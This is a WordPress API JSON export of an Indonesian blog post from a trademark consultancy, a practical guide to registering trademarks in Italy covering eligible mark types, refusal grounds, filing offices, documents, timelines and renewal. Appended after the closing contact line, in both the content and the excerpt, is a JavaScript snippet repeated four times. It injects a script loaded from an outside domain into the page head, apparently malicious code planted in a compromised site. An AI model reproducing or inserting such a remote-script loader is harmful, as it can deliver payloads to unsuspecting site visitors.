{"id":5643,"date":"2025-05-30T10:17:31","date_gmt":"2025-05-30T10:17:31","guid":{"rendered":"https:\/\/affa.co.id\/?p=5643"},"modified":"2025-05-30T10:17:31","modified_gmt":"2025-05-30T10:17:31","slug":"panduan-lengkap-daftar-merek-di-italia-untuk-pebisnis-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/05\/30\/panduan-lengkap-daftar-merek-di-italia-untuk-pebisnis-indonesia\/","title":{"rendered":"Panduan Lengkap Daftar Merek di Italia untuk Pebisnis Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Italia tidak hanya dikenal sebagai pusat mode dan desain dunia, tetapi juga salah satu mitra dagang utama Indonesia di Eropa. Pada tahun 2023, nilai perdagangan bilateral antara Indonesia dan Italia mencapai sekitar \u20ac3,9 miliar, menjadikan Italia sebagai mitra dagang terbesar ketiga Indonesia di Uni Eropa setelah Jerman dan Belanda. Produk-produk unggulan Indonesia seperti minyak kelapa sawit, karet alam, alas kaki, tekstil, kopi, dan rempah-rempah memiliki permintaan tinggi di pasar Italia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan potensi pasar yang besar dan hubungan dagang yang terus berkembang, Italia menawarkan peluang strategis bagi pelaku usaha Indonesia untuk memperluas jangkauan bisnisnya di Eropa. Mendaftarkan Merek secara resmi di Italia menjadi langkah penting untuk melindungi identitas bisnis dan membangun kepercayaan konsumen di pasar internasional.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Merek yang Dapat Didaftarkan di Italia<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di Italia, pendaftaran Merek tunduk pada peraturan yang berlaku di tingkat nasional maupun Uni Eropa. Adapun jenis Merek yang dapat didaftarkan adalah:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kata (Word Mark)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Logo (Figurative Mark)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Gabungan Kata &amp; Logo (Word &amp; Figurative)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek Pola (Pattern Mark)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek Tiga Dimensi<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek Suara<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek Warna<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun, Merek Non-Tradisional seperti aroma atau rasa masih belum dapat didaftarkan, karena keterbatasan teknis dalam representasi grafis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Merek yang Tidak Dapat Didaftarkan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Merek Anda berpotensi ditolak jika:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bersifat deskriptif atau generik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyesatkan publik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bertentangan dengan ketertiban umum atau moralitas.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyerupai lambang negara atau organisasi internasional.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Sama atau mirip dengan Merek yang sudah terdaftar.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki kemiripan atau sama dengan kota tertentu.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Ke Mana Pendaftaran Merek-nya Diajukan?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pendaftaran Merek dapat dilakukan melalui:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><b><i>Ufficio Italiano Brevetti e Marchi (UIBM) <\/i><\/b><span style=\"font-weight: 400\">untuk perlindungan di wilayah Italia saja.<\/span><\/li>\n<li style=\"font-weight: 400\"><b><i>European Union Intellectual Property Office (EUIPO) <\/i><\/b><span style=\"font-weight: 400\">untuk perlindungan di seluruh negara anggota Uni Eropa.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Walaupun pebisnis Indonesia dapat mengajukan langsung ke UIBM, namun sangat disarankan untuk menggunakan jasa <\/span><a href=\"http:\/\/affa.co.id\"><span style=\"font-weight: 400\">Konsultan Merek terpercaya<\/span><\/a><span style=\"font-weight: 400\"> yang memahami prosedur dan bahasa hukum di Italia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Syarat Pendaftaran Merek<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk mendaftarkan Merek di Italia, dokumen yang dibutuhkan adalah:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Formulir Permohonan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Representasi Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Daftar Kelas Barang\/Jasa\u00a0<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bukti Pembayaran<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Surat Kuasa<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Rincian Proses dan Estimasi Waktu<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut adalah tahapan dalam proses pendaftaran Merek di Italia:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengajuan Permohonan (1-2 minggu)<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Diajukan ke UIBM secara daring atau melalui konsultan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pemeriksaan Formal dan Substantif (\u00b1 3 bulan)<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Pemeriksaan administrasi dan konflik dengan Merek yang sudah ada.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Publikasi (3 bulan)<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Merek akan dipublikasikan dalam \u201cOfficial Bulletin.\u201d<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penerbitan Sertifikat (2 bulan)<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Jika tidak ada oposisi, sertifikat diterbitkan.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Total estimasi waktu: 6\u20139 bulan jika tidak ada keberatan atau gugatan dari pihak ketiga.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Masa Berlaku dan Perpanjangan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Merek yang terdaftar akan berlaku dan terlindungi selama 10 tahun sejak tanggal pengajuan. Perpanjangan dapat dilakukan 6 bulan sebelum tanggal perlindungan berakhir. Namun tersedia masa tenggang untuk perpanjangan selama 6 bulan setelah jatuh tempo, dengan dikenakan biaya tambahan.<\/span><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan dan pendaftaran Merek di Italia, langsung hubungi kami melalui email <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Italia tidak hanya dikenal sebagai pusat mode dan desain dunia, tetapi juga salah satu mitra dagang utama Indonesia di Eropa. Pada tahun 2023, nilai perdagangan bilateral antara Indonesia dan Italia mencapai sekitar \u20ac3,9 miliar, menjadikan Italia sebagai mitra dagang terbesar ketiga Indonesia di Uni Eropa setelah Jerman dan Belanda. Produk-produk unggulan Indonesia seperti minyak kelapa sawit, karet alam, alas kaki, tekstil, kopi, dan rempah-rempah memiliki permintaan tinggi di pasar Italia. &nbsp; Dengan potensi pasar yang besar dan hubungan dagang yang terus berkembang, Italia menawarkan peluang strategis bagi pelaku usaha Indonesia untuk memperluas jangkauan bisnisnya di Eropa. Mendaftarkan Merek secara resmi di Italia menjadi langkah penting untuk melindungi identitas bisnis dan membangun kepercayaan konsumen di pasar internasional. &nbsp; Merek yang Dapat Didaftarkan di Italia &nbsp; Di Italia, pendaftaran Merek tunduk pada peraturan yang berlaku di tingkat nasional maupun Uni Eropa. Adapun jenis Merek yang dapat didaftarkan adalah: &nbsp; Kata (Word Mark) Logo (Figurative Mark) Gabungan Kata &amp; Logo (Word &amp; Figurative) Merek Pola (Pattern Mark) Merek Tiga Dimensi Merek Suara Merek Warna &nbsp; Namun, Merek Non-Tradisional seperti aroma atau rasa masih belum dapat didaftarkan, karena keterbatasan teknis dalam representasi grafis. &nbsp; Merek yang Tidak Dapat Didaftarkan &nbsp; Merek Anda berpotensi ditolak jika: Bersifat deskriptif atau generik. Menyesatkan publik. Bertentangan dengan ketertiban umum atau moralitas. Menyerupai lambang negara atau organisasi internasional. Sama atau mirip dengan Merek yang sudah terdaftar. Memiliki kemiripan atau sama dengan kota tertentu. &nbsp; Ke Mana Pendaftaran Merek-nya Diajukan? &nbsp; Pendaftaran Merek dapat dilakukan melalui: Ufficio Italiano Brevetti e Marchi (UIBM) untuk perlindungan di wilayah Italia saja. European Union Intellectual Property Office (EUIPO) untuk perlindungan di seluruh negara anggota Uni Eropa. &nbsp; Walaupun pebisnis Indonesia dapat mengajukan langsung ke UIBM, namun sangat disarankan untuk menggunakan jasa Konsultan Merek terpercaya yang memahami prosedur dan bahasa hukum di Italia. &nbsp; Syarat Pendaftaran Merek &nbsp; Untuk mendaftarkan Merek di Italia, dokumen yang dibutuhkan adalah: Formulir Permohonan Representasi Merek Daftar Kelas Barang\/Jasa\u00a0 Bukti Pembayaran Surat Kuasa &nbsp; Rincian Proses dan Estimasi Waktu &nbsp; Berikut adalah tahapan dalam proses pendaftaran Merek di Italia: Pengajuan Permohonan (1-2 minggu) Diajukan ke UIBM secara daring atau melalui konsultan. Pemeriksaan Formal dan Substantif (\u00b1 3 bulan) Pemeriksaan administrasi dan konflik dengan Merek yang sudah ada. Publikasi (3 bulan) Merek akan dipublikasikan dalam \u201cOfficial Bulletin.\u201d Penerbitan Sertifikat (2 bulan) Jika tidak ada oposisi, sertifikat diterbitkan. &nbsp; Total estimasi waktu: 6\u20139 bulan jika tidak ada keberatan atau gugatan dari pihak ketiga. &nbsp; Masa Berlaku dan Perpanjangan &nbsp; Merek yang terdaftar akan berlaku dan terlindungi selama 10 tahun sejak tanggal pengajuan. Perpanjangan dapat dilakukan 6 bulan sebelum tanggal perlindungan berakhir. Namun tersedia masa tenggang untuk perpanjangan selama 6 bulan setelah jatuh tempo, dengan dikenakan biaya tambahan. Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan dan pendaftaran Merek di Italia, langsung hubungi kami melalui email trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5645,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[309,310,314,315,316,317,318,282,298,305,306,307,308],"class_list":["post-5643","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-paspor-global-merek-indonesia","tag-timing-is-everything","tag-trademark","tag-daftar-merek","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5643"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5643\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5645"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}